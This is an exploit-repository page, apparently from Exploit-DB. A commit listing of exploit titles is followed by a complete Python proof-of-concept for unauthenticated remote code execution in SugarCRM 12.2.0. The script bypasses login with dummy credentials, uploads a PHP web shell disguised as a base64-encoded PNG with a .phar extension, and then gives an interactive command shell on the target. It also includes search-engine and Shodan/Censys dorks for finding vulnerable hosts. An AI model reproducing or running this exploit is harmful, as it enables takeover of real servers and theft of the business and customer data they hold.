3de26153c8
23 changes to exploits/shellcodes/ghdb ELSI Smart Floor V3.3.3 - Stored Cross-Site Scripting (XSS) Hughes Satellite Router HX200 v8.3.1.14 - Remote File Inclusion Nexxt Router Firmware 42.103.1.5095 - Remote Code Execution (RCE) (Authenticated) TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated) GeoVision Camera GV-ADR2701 - Authentication Bypass AD Manager Plus 7122 - Remote Code Execution (RCE) Enlightenment v0.25.3 - Privilege escalation Centos Web Panel 7 v0.9.8.1147 - Unauthenticated Remote Code Execution (RCE) Apache 2.4.x - Buffer Overflow perfSONAR v4.4.5 - Partial Blind CSRF SugarCRM 12.2.0 - Remote Code Execution (RCE) XCMS v1.83 - Remote Command Execution (RCE) Yahoo User Interface library (YUI2) TreeView v2.8.2 - Multiple Reflected Cross Site Scripting (XSS) GitLab v15.3 - Remote Code Execution (RCE) (Authenticated) AimOne Video Converter V2.04 Build 103 - Buffer Overflow (DoS) NetIQ/Microfocus Performance Endpoint v5.1 - remote root/SYSTEM exploit Splashtop 8.71.12001.0 - Unquoted Service Path Reprise Software RLM v14.2BL4 - Cross-Site Scripting (XSS) FlipRotation v1.0 decoder - Shellcode (146 bytes) Linux/x86 - Polymorphic linux x86 Shellcode (92 Bytes) macOS/x64 - Execve Caesar Cipher String Null-Free Shellcode
47 lines
No EOL
1.9 KiB
Python
Executable file
47 lines
No EOL
1.9 KiB
Python
Executable file
#!/usr/bin/env python
|
|
|
|
# Exploit Title: SugarCRM 12.2.0 - Remote Code Execution (RCE)
|
|
# Exploit Author: sw33t.0day
|
|
# Vendor Homepage: https://www.sugarcrm.com
|
|
# Version: all commercial versions up to 12.2.0
|
|
|
|
# Dorks:
|
|
# https://www.google.com/search?q=site:sugarondemand.com&filter=0
|
|
# https://www.google.com/search?q=intitle:"SugarCRM"+inurl:index.php
|
|
# https://www.shodan.io/search?query=http.title:"SugarCRM"
|
|
# https://search.censys.io/search?resource=hosts&q=services.http.response.html_title:"SugarCRM"
|
|
# https://search.censys.io/search?resource=hosts&q=services.http.response.headers.content_security_policy:"*.sugarcrm.com"
|
|
|
|
import base64, re, requests, sys, uuid
|
|
|
|
requests.packages.urllib3.disable_warnings()
|
|
|
|
if len(sys.argv) != 2:
|
|
sys.exit("Usage: %s [URL]" % sys.argv[0])
|
|
|
|
print "[+] Sending authentication request"
|
|
|
|
url = sys.argv[1] + "/index.php"
|
|
session = {"PHPSESSID": str(uuid.uuid4())}
|
|
params = {"module": "Users", "action": "Authenticate", "user_name": 1, "user_password": 1}
|
|
|
|
requests.post(url, cookies=session, data=params, verify=False)
|
|
|
|
print "[+] Uploading PHP shell\n"
|
|
|
|
png_sh = "iVBORw0KGgoAAAANSUhEUgAAABkAAAAUCAMAAABPqWaPAAAAS1BMVEU8P3BocCBlY2hvICIjIyMjIyI7IHBhc3N0aHJ1KGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJjIl0pKTsgZWNobyAiIyMjIyMiOyA/PiD2GHg3AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAKklEQVQokWNgwA0YmZhZWNnYOTi5uHl4+fgFBIWERUTFxCXwaBkFQxQAADC+AS1MHloSAAAAAElFTkSuQmCC"
|
|
upload = {"file": ("sweet.phar", base64.b64decode(png_sh), "image/png")} # you can also try with other extensions like .php7 .php5 or .phtml
|
|
params = {"module": "EmailTemplates", "action": "AttachFiles"}
|
|
|
|
requests.post(url, cookies=session, data=params, files=upload, verify=False)
|
|
|
|
url = sys.argv[1] + "/cache/images/sweet.phar"
|
|
|
|
while True:
|
|
cmd = raw_input("# ")
|
|
res = requests.post(url, data={"c": base64.b64encode(cmd)}, verify=False)
|
|
res = re.search("#####(.*)#####", res.text, re.DOTALL)
|
|
if res:
|
|
print res.group(1)
|
|
else:
|
|
sys.exit("\n[+] Failure!\n") |